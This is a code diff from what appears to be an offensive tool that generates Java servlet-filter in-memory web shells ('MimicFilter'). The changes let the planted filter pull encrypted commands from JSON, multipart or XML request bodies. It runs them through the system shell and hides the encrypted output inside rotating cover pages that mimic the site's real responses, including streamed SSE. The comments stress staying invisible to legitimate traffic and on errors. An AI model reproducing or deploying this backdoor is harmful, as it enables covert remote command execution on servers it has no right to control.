+    /** body Content-Type needles the shell owns \u2014 anything else passes with its body untouched */
+    static final String[] BODY_CTS = { ${bodyCtsJava} };
     /** credentials \u2014 must match the client's --pass/--key (key + marker derivation) */
     static final String PASS = "${javaStringLiteral(pass)}";
     static final String SECRET = "${javaStringLiteral(secret)}";
-    /** Cover pages from the site profile \u2014 rotated per response so the skin varies. */
+    /** Cover bodies from the site profile \u2014 rotated per response so the skin varies. */
     static final String[] TPLS = {
 ${tplsJava}
     };
+    /** Content-Type of each cover body (parallel to TPLS). */
+    static final String[] CTS = { ${ctsJava} };
 
     public void init(FilterConfig filterConfig) {}
     public void destroy() {}
 ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
+    static byte[] readAll(InputStream in) throws IOException {
+        ByteArrayOutputStream bos = new ByteArrayOutputStream();
+        byte[] buf = new byte[8192];
+        int n;
+        while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
+        return bos.toByteArray();
+    }
+
+    /** read the body only when its Content-Type is one the profile actually uses */
+    static boolean ctMatches(String ct) {
+        String l = ct.toLowerCase();
+        for (String n : BODY_CTS) if (l.contains(n)) return true;
+        return false;
+    }
+
+    /** minimal "field":"value" extraction \u2014 cipher values carry no quotes/escapes */
+    static String jsonField(String body, String field) {
+        String needle = "\\"" + field + "\\"";
+        int i = body.indexOf(needle);
+        if (i < 0) return null;
+        int colon = body.indexOf(':', i + needle.length());
+        if (colon < 0) return null;
+        int q1 = body.indexOf('"', colon + 1);
+        if (q1 < 0) return null;
+        int q2 = body.indexOf('"', q1 + 1);
+        if (q2 < 0) return null;
+        return body.substring(q1 + 1, q2);
+    }
+
+    /** minimal multipart extraction: the value follows the part headers of name="field" */
+    static String multipartField(String body, String field) {
+        String needle = "name=\\"" + field + "\\"";
+        int i = body.indexOf(needle);
+        if (i < 0) return null;
+        int sep = body.indexOf("\\r\\n\\r\\n", i + needle.length());
+        int sepLen = 4;
+        if (sep < 0) { sep = body.indexOf("\\n\\n", i + needle.length()); sepLen = 2; }
+        if (sep < 0) return null;
+        int start = sep + sepLen;
+        int end = body.indexOf('\\n', start);
+        if (end < 0) end = body.length();
+        String v = body.substring(start, end).trim();
+        return v.isEmpty() ? null : v;
+    }
+
+    /** minimal XML extraction: <field>value</field> */
+    static String xmlField(String body, String field) {
+        String open = "<" + field + ">";
+        int i = body.indexOf(open);
+        if (i < 0) return null;
+        int start = i + open.length();
+        int end = body.indexOf("</" + field + ">", start);
+        if (end < 0) return null;
+        return body.substring(start, end);
+    }
+${wrapperLoaderMethods(opts)}
     public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
             throws IOException, ServletException {
+        HttpServletRequest httpReq = request instanceof HttpServletRequest
+                ? (HttpServletRequest) request : null;
         String value = null;
         for (String f : FIELDS) {
             value = request.getParameter(f);
-            if (value == null && request instanceof HttpServletRequest) {
+            if (value == null && httpReq != null) {
                 // secretIn=header: the ciphertext may ride a header instead of a form field
-                value = ((HttpServletRequest) request).getHeader(f);
+                value = httpReq.getHeader(f);
             }
             if (value != null) break;
         }
+        if (value == null && httpReq != null) {
+            // the ciphertext may ride a raw body of any bodyTemplate shape
+            // (JSON / multipart / XML\u2026). Read it once and re-expose it
+            // downstream via the caching wrapper.
+            String ct = httpReq.getContentType();
+            if (ct != null && ctMatches(ct)) {
+                try {
+                    byte[] bodyBytes = readAll(httpReq.getInputStream());
+                    String bodyText = new String(bodyBytes, "UTF-8");
+                    for (String f : FIELDS) {
+                        value = jsonField(bodyText, f);
+                        if (value == null) value = multipartField(bodyText, f);
+                        if (value == null) value = xmlField(bodyText, f);
+                        if (value != null) break;
+                    }
+                    request = wrapBody(httpReq, bodyBytes);
+                } catch (Throwable wrapperFailed) {
+                    // the body is already consumed \u2014 pass through as-is
+                }
+            }
+        }
         if (value == null) {
             chain.doFilter(request, response);
             return;
@@ -2882,11 +3896,13 @@ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
             cmd = decryptField(value, aesKey);
         } catch (Exception notOurs) {
             // the field exists but doesn't decrypt \u2014 this is someone else's
-            // legitimate form (e.g. the real login POST), stay invisible
+            // legitimate request (e.g. the real login POST), stay invisible
             chain.doFilter(request, response);
             return;
         }
-        String tpl = TPLS[new java.util.Random().nextInt(TPLS.length)];
+        int ti = new java.util.Random().nextInt(TPLS.length);
+        String tpl = TPLS[ti];
+        String tplCt = CTS[ti];
         try {
             String command = new String(cmd, "UTF-8");
             boolean win = System.getProperty("os.name").toLowerCase().contains("win");
@@ -2895,22 +3911,37 @@ ${sharedMethods(cipher)}${wrapPayloadMethod(cipher.marker)}
                 : new ProcessBuilder("/bin/sh", "-c", command);
             pb.redirectErrorStream(true);
             Process proc = pb.start();
-            ByteArrayOutputStream bos = new ByteArrayOutputStream();
-            InputStream in = proc.getInputStream();
-            byte[] buf = new byte[8192];
-            int n;
-            while ((n = in.read(buf)) != -1) bos.write(buf, 0, n);
             proc.waitFor();
-            String payload = encryptField(bos.toByteArray(), aesKey);
-            String fragment = wrapPayload(payload, PASS + SECRET);
-            int idx = tpl.toLowerCase().lastIndexOf("</body>");
-            String page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
-            response.setContentType("text/html;charset=UTF-8");
+            String payload = encryptField(readAll(proc.getInputStream()), aesKey);
+            String page;
+            if (tpl.contains("{{payload}}")) {
+                // placeholder template (any text format): substitute exactly there
+                page = tpl.replace("{{payload}}", payload);
+            } else {
+                String fragment = wrapPayload(payload, PASS + SECRET);
+                int idx = tpl.toLowerCase().lastIndexOf("</body>");
+                page = idx >= 0 ? tpl.substring(0, idx) + fragment + tpl.substring(idx) : tpl + fragment;
+            }
+            response.setContentType(tplCt);
             response.setCharacterEncoding("UTF-8");
-            response.getWriter().write(page);
+            if (tplCt.contains("event-stream")) {
+                // flush chunk by chunk \u2014 a real SSE endpoint streams, a
+                // one-shot body is the wrong shape on the wire
+                java.io.PrintWriter w = response.getWriter();
+                for (String chunk : page.split("\\n\\n", -1)) {
+                    if (chunk.isEmpty()) continue;
+                    w.write(chunk);
+                    w.write("\\n\\n");
+                    w.flush();
+                    response.flushBuffer();
+                    try { Thread.sleep(30); } catch (InterruptedException ie) { break; }
+                }
+            } else {
+                response.getWriter().write(page);
+            }
         } catch (Exception e) {
-            // behave like the cover page on any error \u2014 stay quiet
-            response.setContentType("text/html;charset=UTF-8");
+            // behave like the cover body on any error \u2014 stay quiet
+            response.setContentType(tplCt);
             response.getWriter().write(tpl);
         }
     }
@@ -3005,6 +4036,29 @@ function profileSecretFields(profile) {
   const fields = [...new Set(shapes.map((r) => r.secretField).filter(Boolean))];
   return fields.length > 0 ? fields : ["pass"];
 }
+function ctNeedle(ct) {
+  const media = ct.toLowerCase().split(";", 1)[0].trim();
+  if (media.includes("json")) return "json";
+  if (media.includes("multipart")) return "multipart";
+  if (media.includes("xml")) return "xml";
+  return media;
+}
+function profileBodyContentTypes(profile) {
+  const needles = /* @__PURE__ */ new Set();
+  for (const r of profileRequests(profile)) {
+    if (r.secretIn !== void 0 && r.secretIn !== "body") continue;
+    if (r.bodyTemplate !== void 0) {
+      const explicit = Object.entries(r.headers ?? {}).find(
+        ([k]) => k.toLowerCase() === "content-type"
+      )?.[1];
+      const ct = explicit ?? inferBodyTemplateContentType(r.bodyTemplate);
+      if (ct) needles.add(ctNeedle(ct));
+    } else if (r.bodyStyle === "json") {
+      needles.add("json");
+    }
+  }
+  return [...needles];
+}
 function defaultClassName() {
   return `MimicFilter${randomString(4)}`;
 }
@@ -3016,20 +4070,32 @@ async function buildCustomMemshell(input, client, deps = {}) {
   const urlPattern = input.urlPattern ?? "/*";
   const packer = input.packer ?? "DefaultBase64";
   const cipher = resolveCipher(input.profile.cipher);
-  const templates = profileTemplates(input.profile).map((t) => t.template);
+  const templates = profileTemplates(input.profile).map((t) => ({
+    template: t.template,
+    contentType: t.contentType
+  }));
   if (templates.length === 0) {
     throw new Error(`profile '${input.profile.name}' has no templates \u2014 nothing to use as cover page`);
   }
   const outDir = input.outDir;
   const packageDir = join6(outDir, "mimic");
   mkdirSync4(packageDir, { recursive: true });
+  const wrapperFile = join6(packageDir, "CachedBody.java");
+  writeFileSync5(wrapperFile, renderWrapperJava(), "utf8");
+  compile([wrapperFile], outDir, { classpath: [jarOf()] });
+  const wrapper = {
+    bodyB64: readFileSync6(join6(packageDir, "CachedBody.class")).toString("base64"),
+    streamB64: readFileSync6(join6(packageDir, "CachedBody$Stream.class")).toString("base64")
+  };
   const javaSource = renderFilterJava({
     className,
     pass: input.pass,
     secret: input.secret,
     fields: profileSecretFields(input.profile),
+    bodyContentTypes: profileBodyContentTypes(input.profile),
     templates,
-    cipher
+    cipher,
+    wrapper
   });
   const javaFile = join6(packageDir, `${className}.java`);
   writeFileSync5(javaFile, javaSource, "utf8");